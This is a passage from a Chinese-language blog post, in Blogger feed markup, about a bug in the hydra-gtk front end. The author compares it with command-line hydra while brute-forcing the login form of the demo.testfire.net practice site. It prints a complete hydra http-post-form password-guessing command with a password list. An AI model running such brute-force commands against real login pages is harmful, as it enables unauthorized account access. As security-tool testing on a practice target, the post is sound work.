&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQpWwJ3xKsRHAjl9y8EvYcvPUS-p_VfgDL6u-F5ldD6j9F25vo3EOLKxUP2KblrfG-da44nlPjXYktHYGBSLWXAt8xgnEK8nYo7G4lmne9bppWC9WMC-pk4ItT7kuXJxpZZfO76zn8rLpl/s1600/xhydra.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;613&quot; data-original-width=&quot;1195&quot; height=&quot;205&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQpWwJ3xKsRHAjl9y8EvYcvPUS-p_VfgDL6u-F5ldD6j9F25vo3EOLKxUP2KblrfG-da44nlPjXYktHYGBSLWXAt8xgnEK8nYo7G4lmne9bppWC9WMC-pk4ItT7kuXJxpZZfO76zn8rLpl/s400/xhydra.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖一：hydra-gtk找不到匹配的密碼&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;border: 1px green dotted; margin: 4px; padding: 4px;&quot;&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;hydra-gtk轉出的指令：&lt;/b&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-left: 1.5em;&quot;&gt;
hydra -V -l admin -P /root/password.lst -t 8 -q -m /doLogin:&quot;uid=^USER^&amp;amp;passw=^PASS^&amp;amp;btnSubmit=Login:Login Failed:C=/login.jsp&quot; demo.testfire.net http-post-form&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;
但我很清楚有一組&lt;span style=&quot;color: #990000;&quot;&gt;&lt;b&gt;admin&lt;/b&gt;&lt;/span&gt; / &lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;admin&lt;/b&gt;&lt;/span&gt;的帳密是可以用的，心中疑惑是不是在填&lt;b&gt;hydra-gtk&lt;/b&gt;選項時弄錯了什麼，一再檢視都找不到哪裡有錯，於是將&lt;b&gt;hydra-gtk&lt;/b&gt;產生的指令在終端上直接執行，結果如圖二所示，真的有找到&lt;span style=&quot;color: #990000;&quot;&gt;&lt;b&gt;admin&lt;/b&gt;&lt;/span&gt; / &lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;admin&lt;/b&gt;&lt;/span&gt;這組帳密，很明顯&lt;b&gt;hydra-gtk&lt;/b&gt;有Bug存在。
&lt;/div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2BipADD-q7XBwJPsD6JRnFKW48Yawdz9EeGX8Y6j2iaWNR7pz4YCWRQlPRnVTmccujSn997FWN-MUjq2KOBFZWEOuIS1JBqN0c_fY6JCBKdyhJENv5-dSJc8qcG_H1L9OyRRpfhRGADKf/s1600/Console-hydra.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;523&quot; data-original-width=&quot;1011&quot; height=&quot;165&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2BipADD-q7XBwJPsD6JRnFKW48Yawdz9EeGX8Y6j2iaWNR7pz4YCWRQlPRnVTmccujSn997FWN-MUjq2KOBFZWEOuIS1JBqN0c_fY6JCBKdyhJENv5-dSJc8qcG_H1L9OyRRpfhRGADKf/s320/Console-hydra.PNG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖二：直接在終端機執行就沒有問題&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div style=&quot;margin-bottom: 8px;&quot;&gt;
&lt;span style=&quot;color: #cc0000;&quot;&gt;&lt;b&gt;外一章&lt;/b&gt;&lt;/span&gt;：當啟用&lt;b&gt;hydra-gtk&lt;/b&gt;的&lt;b&gt;debug&lt;/b&gt;選項，執行暴力破解時，&lt;b&gt;start&lt;/b&gt;頁籤會輸出大量資訊，&lt;b&gt;hydra-gtk&lt;/b&gt;不會自動捲動訊息框。此時若手動捲動訊息框，&lt;b&gt;hydra-gtk&lt;/b&gt;會當機。
&lt;/div&gt;
&lt;hr /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;結論：&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;
&lt;b&gt;hydra-gtk&lt;/b&gt;和&lt;b&gt;hydra&lt;/b&gt;的整合可能有問題，還是將&lt;b&gt;hydra-gtk&lt;/b&gt;當成命令產生器就好，以免造成誤判！
&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://atic-tw.blogspot.com/feeds/3913780960822637160/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://atic-tw.blogspot.com/2019/06/hydryhydra-gtk.html#comment-form' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/3913780960822637160'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/3913780960822637160'/><link rel='alternate' type='text/html' href='http://atic-tw.blogspot.com/2019/06/hydryhydra-gtk.html' title='hydry與hydra-gtk的詭異現象'/><author><name>雅技資訊技術</name><uri>http://www.blogger.com/profile/06948808120337987647</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQpWwJ3xKsRHAjl9y8EvYcvPUS-p_VfgDL6u-F5ldD6j9F25vo3EOLKxUP2KblrfG-da44nlPjXYktHYGBSLWXAt8xgnEK8nYo7G4lmne9bppWC9WMC-pk4ItT7kuXJxpZZfO76zn8rLpl/s72-c/xhydra.PNG" height="72" width="72"/><thr:total>0</thr:total></entry></feed>